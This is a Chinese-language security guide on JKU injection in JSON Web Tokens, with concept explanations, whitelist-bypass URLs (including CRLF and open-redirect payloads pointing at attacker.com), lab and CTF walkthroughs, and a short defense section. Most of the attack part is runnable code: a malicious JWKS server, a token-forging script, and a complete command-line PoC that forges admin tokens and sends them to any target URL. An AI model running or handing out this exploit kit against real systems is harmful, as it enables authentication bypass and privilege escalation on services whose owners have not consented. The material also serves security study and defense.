JKU 注入攻击技术分析与防御指南

研究日期:2026-07-08
漏洞类型:JWT 头部注入 / 认证绕过
风险等级:高危(可导致任意用户身份伪造)


目录


一、JKU 基础概念

1.1 什么是 JKU

JKU(JSON Web Key Set URL)是 JWT Header 中的一个可选字段,其值是一个 URL,指向一个存储 JWK(JSON Web Key)集合的服务器端点。

当 JWT 使用非对称加密算法(如 RS256、RS384、RS512)时,服务器需要获取公钥来验证签名。JKU 机制允许服务器动态获取公钥,而不是硬编码在代码中。

1.2 JWT 结构回顾

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
http://jwt.io
Base64(Header).Base64(Payload).Base64(Signature)

Header:
{
"alg": "RS256",
"typ": "JWT",
"jku": "https://auth.example.com/.well-known/jwks.json",
"kid": "key-id-1"
}

Payload:
{
"sub": "user123",
"role": "admin",
"iat": 1516239022
}

1.3 关键概念对照表

缩写 全称 说明
JWT JSON Web Token 紧凑的 URL 安全令牌,用于在双方之间传递身份信息
JWS JSON Web Signature 经过签名的 JWT(含 Signature 部分)
JWK JSON Web Key JSON 格式的密钥表示(包含公钥 n、e 等参数)
JWKS JSON Web Key Set JWK 的集合(多个密钥的数组)
JKU JSON Web Key Set URL JWT Header 中指向 JWKS 端点的 URL
x5u X.509 URL 指向 X.509 公钥证书的 URL,功能与 JKU 类似
kid Key ID 用于标识使用哪个密钥进行验证

二、JKU 工作原理

2.1 正常工作流程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
用户                     应用服务器                    JWKS 服务器
│ │ │
│ 1. 携带 JWS 访问应用 │ │
│ ──────────────────────> │ │
│ │ 2. 解析 JWT Header, │
│ │ 获取 jku 字段 │
│ │ │
│ │ 3. 请求 jku 指向 URL │
│ │ ────────────────────────> │
│ │ │
│ │ 4. 返回 JWKS(公钥集合) │
│ │ <──────────────────────── │
│ │ │
│ │ 5. 使用 JWK 验证签名 │
│ │ │
│ 6. 验证通过,正常响应 │ │
│ <────────────────────── │ │

详细步骤

  1. 用户携带 JWS(带签名的 JWT)访问应用
  2. 应用解码 JWS,读取 Header 中的 jku 字段
  3. 应用向 jku 指向的 URL 发起 HTTP 请求
  4. JWKS 服务器返回 JSON 格式的公钥集合
  5. 应用根据 kid 匹配对应的 JWK,使用公钥验证签名
  6. 验证通过后正常响应

2.2 攻击流程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
攻击者                     应用服务器                    攻击者控制的服务器
│ │ │
│ 1. 携带伪造的 JWS 访问 │ │
│ jku 指向攻击者服务器 │ │
│ ────────────────────────> │ │
│ │ 2. 请求 jku 指向 URL │
│ │ ────────────────────────> │
│ │ │
│ │ 3. 返回恶意 JWKS │
│ │ (攻击者的公钥) │
│ │ <──────────────────────── │
│ │ │
│ 4. 攻击者的签名通过验证 │ │
│ 权限提升(如 role=admin)│ │
│ <──────────────────────── │ │

攻击核心:如果应用不对 jku 指向的 URL 做严格校验,攻击者可以:

  1. 生成自己的 RSA 公私钥对
  2. 用私钥伪造 JWS(修改 Payload 中的角色等敏感字段)
  3. 将 JWT Header 中的 jku 指向自己控制的恶意服务器
  4. 恶意服务器返回攻击者的公钥,使伪造签名通过验证

三、攻击场景与核心原理

3.1 漏洞产生条件

  • 应用使用 jku 动态获取验证公钥
  • 应用未对 jku 指向的 URL 做严格的白名单校验
  • 或虽然做了校验但存在绕过手段

3.2 利用链

1
2
3
4
5
6
7
8
9
10
11
┌──────────────────────────────────────────────────────────┐
│ JKU 注入利用链 │
├──────────────────────────────────────────────────────────┤
│ 1. 自建 RSA 密钥对(openssl) │
│ 2. 搭建恶意 JWKS 服务器(Python Flask / SimpleHTTPServer)│
│ 3. 构造 JWKS 文件(将公钥的 n、e 写入 JSON) │
│ 4. 伪造 JWS Token(修改 Payload + jku 指向恶意服务器) │
│ 5. 使用私钥签名 JWS │
│ 6. 携带伪造 JWS 访问目标 API │
│ 7. 目标验证通过 → 权限提升 │
└──────────────────────────────────────────────────────────┘

四、攻击方式详解

4.1 绕过 URL 白名单过滤

如果应用只对 jku 的域名做简单的前缀或长度检查,可以通过以下方式绕过:

1
2
3
4
5
6
7
8
9
10
11
12
# 利用 @ 符号(URL 用户信息字段)
白名单: https://trusted.com
绕过: https://trusted.com@malicious.com
http://trusted@malicious.com

# 利用路径穿越
白名单: https://trusted.com/jwks
绕过: https://trusted.com/../malicious.com/jwks

# 利用子域名
白名单: *.trusted.com
绕过: malicious.trusted.com (如果可注册子域名)

4.2 利用文件上传漏洞

如果应用对 jku 做了严格的域名白名单限制,无法指向外部服务器,则可以:

  1. 在可信服务器上寻找文件上传功能
  2. 上传自己生成的 JWK 文件(JSON 格式,包含攻击者的公钥)
  3. 修改 jku 指向上传的 JWK 文件路径
1
2
3
4
5
6
7
8
# 假设上传后的 JWK 文件路径
POST /upload HTTP/1.1
Content-Type: multipart/form-data

file: jwks.json ← 包含攻击者公钥的 JWKS 文件

# 上传成功后 jku 指向
jku: https://trusted.com/uploads/jwks.json

4.3 利用开放重定向漏洞

如果可信服务器存在开放重定向漏洞,可以:

  1. jku 指向可信服务器的重定向接口
  2. 重定向到攻击者控制的恶意服务器
  3. 恶意服务器返回攻击者的公钥
1
jku: https://trusted.com/redirect?url=http://attacker.com/jwks.json

4.4 利用 CRLF 注入

如果应用在解析 jku 返回内容时存在 CRLF 注入漏洞:

  1. jku 参数中嵌入 CRLF 序列(%0d%0a
  2. 构造 HTTP 响应,控制返回内容为攻击者的 JWK
1
jku: https://trusted.com/jwks%0d%0a%0d%0a{"keys":[{"kty":"RSA","n":"...","e":"AQAB"}]}

五、PoC 实战案例

5.1 AttackDefense:JKU 滥用攻击(完整流程)

场景描述

  • 局域网内存在 JWT API(192.170.138.3:8080)
  • /issue 返回 JWS Token
  • /goldenticket 需要 admin 身份
  • jku 指向 http://witrap.com:8000/jwks.json

Step 1 — 获取原始 JWS

1
curl http://192.170.138.3:8080/issue

响应 Token 解析后可见:

1
2
3
4
5
6
{
"alg": "RS256",
"typ": "JWT",
"jku": "http://witrap.com:8000/jwks.json",
"kid": "16947605401829487989"
}

Step 2 — 生成 RSA 密钥对

1
2
3
4
5
6
7
8
# 生成 2048 位 RSA 私钥
openssl genrsa -out keypair.pem 2048

# 提取公钥
openssl rsa -in keypair.pem -pubout -out public.crt

# 转换为 PKCS8 格式(JWT 库所需格式)
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out private.p8

Step 3 — 提取 JWK 所需的 n 和 e

1
2
3
4
5
6
7
8
from Crypto.PublicKey import RSA

fp = open("public.crt", "r")
key = RSA.importKey(fp.read())
fp.close()

print("n:", hex(key.n))
print("e:", hex(key.e))

Step 4 — 构造恶意 jwks.json

1
2
3
4
5
6
7
8
9
10
11
{
"keys": [
{
"kty": "RSA",
"use": "sig",
"kid": "16947605401829487989",
"n": "<上一步输出的 n 的十进制值>",
"e": "AQAB"
}
]
}

Step 5 — 搭建恶意 JWKS 服务器

1
2
3
# 使用 Python SimpleHTTPServer
cd /path/to/jwks.json
python -m SimpleHTTPServer 8080

或使用 Flask:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from flask import Flask, jsonify

app = Flask(__name__)

@app.route('/jwks.json')
def jwks():
return jsonify({
"keys": [{
"kty": "RSA",
"use": "sig",
"kid": "16947605401829487989",
"n": "<你的 n>",
"e": "AQAB"
}]
})

if __name__ == '__main__':
app.run(host='0.0.0.0', port=8080)

Step 6 — 伪造 JWS Token

使用 jwt.io 或 jwt_tool 生成:

1
2
3
4
5
6
7
8
9
10
11
12
13
Header:
{
"alg": "RS256",
"typ": "JWT",
"jku": "http://192.170.138.2:8080/jwks.json",
"kid": "16947605401829487989"
}

Payload:
{
"role": "admin",
"iat": 1422779638
}

Step 7 — 验证攻击

1
2
curl http://192.170.138.3:8080/goldenticket \
-H "Authorization: Bearer <伪造的JWS>"

响应成功则代表 JKU 注入成功。


5.2 Volgactf 2021:开放重定向绕过

场景描述

  • 5000 端口存在 JWS API,jku 被白名单限制在 localhost 域
  • 5001 端口存在开放重定向 API /vuln/redirect?endpoint=
  • 5002 端口是攻击者控制的服务器

利用思路

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from jwcrypto import jwk, jws
import json

# 生成 RSA 密钥
key = jwk.JWK.generate(kty='RSA', size=2048)

# 构造 jku(利用可信服务器的开放重定向)
jku = 'http://localhost:5001/vuln/redirect?endpoint=http://localhost:5002/jwks.json'

# 构造 payload(含 SSTI 测试 payload)
payload = '{{config}}'

# 生成 JWS
jwstoken = jws.JWS(payload.encode('utf-8'))
jwstoken.add_signature(
key=key,
alg='RS256',
protected=None,
header={
"kid": key.thumbprint(),
"jku": jku,
"alg": "RS256"
}
)

sig = jwstoken.serialize()
print(sig)

关键点

  • jku 仍指向 localhost:5001(通过白名单)
  • 但 5001 的 /vuln/redirect 接口将请求重定向到 5002
  • 5002 返回攻击者的公钥
  • 验证通过后,再通过 SSTI 漏洞获取 flag

六、工具与自动化 PoC

6.1 jwt_tool 自动化检测

jwt_tool 是 JWT 安全评估最全面的工具,支持 JKU 相关测试。

安装

1
2
3
git clone https://github.com/ticarpi/jwt_tool
cd jwt_tool
python3 -m pip install -r requirements.txt

JKU 注入测试

1
2
3
4
5
6
7
8
9
10
11
# 1. 扫描 JWT 漏洞
python jwt_tool.py <JWT_TOKEN> -t -c "Cookie: session=xxx"

# 2. JKU 注入攻击(指定 jku URL 和私钥)
python jwt_tool.py <JWT_TOKEN> -X jku -ju "http://attacker.com/jwks.json" -pk private.p8

# 3. 修改 Payload 后重放
python jwt_tool.py <JWT_TOKEN> -X jku \
-ju "http://attacker.com/jwks.json" \
-pk private.p8 \
-pc role -pv admin

参数说明:

参数 说明
-X jku JKU 注入攻击模式
-ju <URL> 指定恶意 JWKS 的 URL
-pk <file> 指定私钥文件(PKCS8 格式)
-pc <claim> 修改 Payload 中的声明
-pv <value> 设置声明的新值

6.2 Python 自建恶意 JWKS 服务器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
#!/usr/bin/env python3
"""
恶意 JWKS 服务器 - 用于 JKU 注入攻击
"""
from flask import Flask, jsonify
import base64
import json
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.backends import default_backend

app = Flask(__name__)

# 生成 RSA 密钥对(首次运行)
private_key = rsa.generate_private_key(
public_exponent=65537,
key_size=2048,
backend=default_backend()
)

public_key = private_key.public_key()

# 导出私钥为 PEM 格式(PKCS8)
private_pem = private_key.private_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PrivateFormat.PKCS8,
encryption_algorithm=serialization.NoEncryption()
)

# 导出公钥为 PEM 格式
public_pem = public_key.public_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PublicFormat.SubjectPublicKeyInfo
)

# 保存私钥文件
with open("private.p8", "wb") as f:
f.write(private_pem)

print(f"[*] Private key saved to private.p8")
print(f"[*] Public key:\n{public_pem.decode()}")

# 提取 n 和 e 用于 JWKS
public_numbers = public_key.public_numbers()

# Base64URL 编码 n 和 e
def int_to_base64url(num: int) -> str:
"""将大整数转换为 Base64URL 编码"""
num_bytes = num.to_bytes((num.bit_length() + 7) // 8, byteorder='big')
return base64.urlsafe_b64encode(num_bytes).rstrip(b'=').decode()

n_b64 = int_to_base64url(public_numbers.n)
e_b64 = int_to_base64url(public_numbers.e)

@app.route('/jwks.json')
def serve_jwks():
"""返回恶意 JWKS"""
jwks = {
"keys": [
{
"kty": "RSA",
"use": "sig",
"alg": "RS256",
"kid": "exploit-key-001",
"n": n_b64,
"e": e_b64
}
]
}
return jsonify(jwks)

@app.route('/')
def index():
return "JKU Exploit Server is Running"

if __name__ == '__main__':
print("[*] Starting malicious JWKS server on port 8888...")
app.run(host='0.0.0.0', port=8888)

6.3 Python JWS 伪造脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#!/usr/bin/env python3
"""
JWS 伪造脚本 - JKU 注入攻击
"""
import jwt
import json
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend

# 加载之前生成的私钥
with open("private.p8", "rb") as f:
private_key = serialization.load_pem_private_key(
f.read(),
password=None,
backend=default_backend()
)

# 构造 Header
headers = {
"alg": "RS256",
"typ": "JWT",
"kid": "exploit-key-001",
"jku": "http://YOUR_ATTACKER_IP:8888/jwks.json"
}

# 构造 Payload(越权)
payload = {
"sub": "admin",
"role": "admin",
"iat": 1516239022,
"exp": 1999999999
}

# 签名生成 JWT
token = jwt.encode(
payload=payload,
key=private_key,
algorithm="RS256",
headers=headers
)

print(f"[+] 伪造的 JWT Token:")
print(f"")
print(token)
print(f"")

# 验证
print(f"\n[*] 验证解码:")
decoded = jwt.decode(token, options={"verify_signature": False})
print(json.dumps(decoded, indent=2))

6.4 Python 完整攻击 PoC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
#!/usr/bin/env python3
"""
JKU 注入完整攻击 PoC
用途:自动完成密钥生成 → JWKS 服务器启动 → JWS 伪造 → 请求发送
"""
import argparse
import json
import base64
import threading
import time
import requests
from http.server import HTTPServer, BaseHTTPRequestHandler

from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.backends import default_backend
import jwt


class JWKSHandler(BaseHTTPRequestHandler):
"""恶意 JWKS 服务器请求处理"""

n_b64 = ""
e_b64 = ""

def do_GET(self):
if self.path == "/jwks.json":
self.send_response(200)
self.send_header("Content-Type", "application/json")
self.send_header("Access-Control-Allow-Origin", "*")
self.end_headers()
jwks = {
"keys": [
{
"kty": "RSA",
"use": "sig",
"alg": "RS256",
"kid": self.server.kid,
"n": self.server.n_b64,
"e": self.server.e_b64
}
]
}
self.wfile.write(json.dumps(jwks).encode())
else:
self.send_response(404)
self.end_headers()

def log_message(self, format, *args):
print(f"[JWKS Server] {args[0]} {args[1]} {args[2]}")


class JKUExploit:
"""JKU 注入攻击控制器"""

def __init__(self, listen_port=8888):
self.listen_port = listen_port
self._generate_keys()

def _int_to_base64url(self, num):
num_bytes = num.to_bytes((num.bit_length() + 7) // 8, byteorder='big')
return base64.urlsafe_b64encode(num_bytes).rstrip(b'=').decode()

def _generate_keys(self):
"""生成 RSA 密钥对"""
self.private_key = rsa.generate_private_key(
public_exponent=65537,
key_size=2048,
backend=default_backend()
)
public_numbers = self.private_key.public_key().public_numbers()
self.n_b64 = self._int_to_base64url(public_numbers.n)
self.e_b64 = self._int_to_base64url(public_numbers.e)
self.kid = "exploit-key-" + str(int(time.time()))

# 保存私钥
private_pem = self.private_key.private_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PrivateFormat.PKCS8,
encryption_algorithm=serialization.NoEncryption()
)
with open("private.p8", "wb") as f:
f.write(private_pem)
print(f"[+] RSA 2048 密钥对已生成")
print(f"[+] Private key saved to private.p8")

def start_jwks_server(self):
"""启动恶意 JWKS 服务器"""
server = HTTPServer(("0.0.0.0", self.listen_port), JWKSHandler)
server.n_b64 = self.n_b64
server.e_b64 = self.e_b64
server.kid = self.kid

t = threading.Thread(target=server.serve_forever, daemon=True)
t.start()
print(f"[+] Malicious JWKS server started on port {self.listen_port}")
print(f" URL: http://YOUR_IP:{self.listen_port}/jwks.json")
return t

def forge_jwt(self, jku_url: str, payload_claims: dict) -> str:
"""伪造 JWT Token"""
headers = {
"alg": "RS256",
"typ": "JWT",
"kid": self.kid,
"jku": jku_url
}

token = jwt.encode(
payload=payload_claims,
key=self.private_key,
algorithm="RS256",
headers=headers
)
return token

def exploit(self, target_url: str, jku_url: str = None,
payload_claims: dict = None):
"""执行完整攻击"""
# 启动 JWKS 服务器
self.start_jwks_server()
time.sleep(0.5)

# 如果未指定,使用默认 payload
if payload_claims is None:
payload_claims = {
"sub": "admin",
"role": "admin",
"iat": int(time.time()),
"exp": int(time.time()) + 3600
}

# 如果未指定,使用本地服务器
if jku_url is None:
jku_url = f"http://YOUR_IP:{self.listen_port}/jwks.json"

# 伪造 JWT
token = self.forge_jwt(jku_url, payload_claims)
print(f"\n[+] 伪造的 JWT Token:")
print(f" {token}")

# 发送请求
print(f"\n[*] 发送请求到 {target_url}")
try:
r = requests.get(
target_url,
headers={"Authorization": f"Bearer {token}"},
timeout=10
)
print(f"[*] 响应状态码: {r.status_code}")
print(f"[*] 响应内容: {r.text[:500]}")
return r
except Exception as e:
print(f"[!] 请求失败: {e}")
return None


def main():
parser = argparse.ArgumentParser(description="JKU 注入攻击 PoC")
parser.add_argument("-t", "--target", required=True,
help="目标 URL (如 https://target.com/admin)")
parser.add_argument("-p", "--port", type=int, default=8888,
help="本地 JWKS 服务器端口")
parser.add_argument("-j", "--jku", help="JKU URL (默认自动使用本地服务器)")
parser.add_argument("--sub", default="admin",
help="Payload 中的 sub 字段")
parser.add_argument("--role", default="admin",
help="Payload 中的 role 字段")

args = parser.parse_args()

print("""
╔══════════════════════════════════════════════════╗
║ JKU 注入攻击 PoC ║
║ 目标: {target} ║
╚══════════════════════════════════════════════════╝
""".format(target=args.target))

exploit = JKUExploit(listen_port=args.port)

payload = {
"sub": args.sub,
"role": args.role,
"iat": int(time.time()),
"exp": int(time.time()) + 3600
}

exploit.exploit(
target_url=args.target,
jku_url=args.jku,
payload_claims=payload
)

# 保持服务器运行
print(f"\n[*] JWKS 服务器仍在运行,按 Ctrl+C 停止")
try:
while True:
time.sleep(1)
except KeyboardInterrupt:
print("\n[*] 已停止")


if __name__ == "__main__":
main()

使用示例

1
2
3
4
5
6
7
8
# 快速攻击
python jku_exploit.py -t https://target.com/api/admin

# 指定端口和 JKU URL
python jku_exploit.py -t https://target.com/api/admin -p 9999 -j "http://attacker.com:9999/jwks.json"

# 自定义角色
python jku_exploit.py -t https://target.com/api/superadmin --role superadmin

七、JWK / JWKS 格式详解

7.1 JWK 单个密钥格式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
{
"kty": "RSA",
"use": "sig",
"alg": "RS256",
"kid": "key-id-001",
"n": "0vx7agoebGcQSuu...(Base64URL 编码的大整数 n)",
"e": "AQAB",
"d": "X4cTteJY_gn4...(私钥,仅私钥 JWK 包含)",
"p": "83i-7sMGWSY...(私钥因子)",
"q": "5dfk8pN4YoE...(私钥因子)",
"dp": "G4sPXkc6Ya9...(私钥因子)",
"dq": "s8l4C6x9Ois...(私钥因子)",
"qi": "02Ue6A8FVfI...(私钥因子)"
}

7.2 JWKS 完整格式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
{
"keys": [
{
"kty": "RSA",
"use": "sig",
"alg": "RS256",
"kid": "key-2024-01",
"n": "0vx7agoebGcQSuu...",
"e": "AQAB"
},
{
"kty": "EC",
"use": "enc",
"alg": "ES256",
"kid": "key-2024-02",
"crv": "P-256",
"x": "MKBCTNIcKUSDii11ySs3526iDZ8AiTo7Tu6KPAqv7D4",
"y": "4Etl6SRW2YiLUrN5vfvVHuhp7x8PxltmWWlbbM4IFyM"
}
]
}

7.3 从 PEM 公钥提取 JWK 参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/usr/bin/env python3
"""PEM 公钥 → JWK 格式转换"""
import base64
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives.asymmetric import rsa

def pem_to_jwk(pem_path: str) -> dict:
with open(pem_path, "rb") as f:
public_key = serialization.load_pem_public_key(f.read(), backend=default_backend())

public_numbers = public_key.public_numbers()

def int_to_b64url(num):
num_bytes = num.to_bytes((num.bit_length() + 7) // 8, byteorder='big')
return base64.urlsafe_b64encode(num_bytes).rstrip(b'=').decode()

return {
"kty": "RSA",
"use": "sig",
"alg": "RS256",
"kid": "converted-key",
"n": int_to_b64url(public_numbers.n),
"e": int_to_b64url(public_numbers.e)
}

# 使用
jwk = pem_to_jwk("public.crt")
print(json.dumps({"keys": [jwk]}, indent=2))

7.4 jwt_tool 的 JWKS 文件格式要求

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
{
"keys": [
{
"kty": "RSA",
"use": "sig",
"kid": "admin",
"n": "BASE64URL_ENCODED_N",
"e": "AQAB",
"d": "BASE64URL_ENCODED_D",
"p": "BASE64URL_ENCODED_P",
"q": "BASE64URL_ENCODED_Q",
"dp": "BASE64URL_ENCODED_DP",
"dq": "BASE64URL_ENCODED_DQ",
"qi": "BASE64URL_ENCODED_QI"
}
]
}

八、JKU 与 x5u 的对比

特性 JKU x5u
全称 JSON Web Key Set URL X.509 URL
指向内容 JWK(JSON 格式密钥) X.509 公钥证书
返回格式 JSON DER/PEM 证书
攻击方式 伪造 JWK 返回 伪造证书返回
常见算法 RS256, RS384, RS512 RS256, ES256
防御方式 URL 白名单 + 固定公钥 证书固定 + 证书验证

x5u 的攻击方式与 JKU 类似,只是返回的是 X.509 证书而非 JWK。


九、防御建议

🔴 立即修复(开发侧)

优先级 措施 说明
P0 禁用 jku 不在 JWT Header 中使用 jku,将公钥硬编码在服务端
P0 URL 白名单 如必须使用 jku,严格限制只允许特定域名/IP
P1 HTTPS 强制 确保 jku 指向的 URL 必须使用 HTTPS
P1 证书固定 对 jku 返回的 JWK 做额外签名验证
P2 kid 白名单 只接受预定义的 kid 值
P2 内容校验 对 jku 返回的 JWK 做内容完整性校验

🟡 检测防御(运维侧)

  1. 签名算法限制:只使用 RS256/ES256,禁用 alg=none
  2. 密钥轮换:定期更换密钥,限制旧密钥有效期
  3. 日志监控:记录所有 jku 请求,发现有异常 URL 立即告警
  4. 速率限制:对 JWT 验证失败做速率限制,防止暴力探测

十、参考链接

漏洞分析

标准文档

利用工具

相关 CVE

CVE 说明 关系
CVE-2018-0114 Cisco 设备 JWT 密钥注入漏洞 JKU 相关
CVE-2019-20933 不安全的 JWKS 获取方式 JKU 相关
CVE-2015-2951 JWT alg=none 绕过 相关攻击方式

免责声明:本文档仅供安全防御和授权测试参考。所有漏洞信息均来自公开渠道,请勿用于未授权的测试或攻击行为。使用者应遵守当地法律法规,后果自负。

生成时间:2026-07-08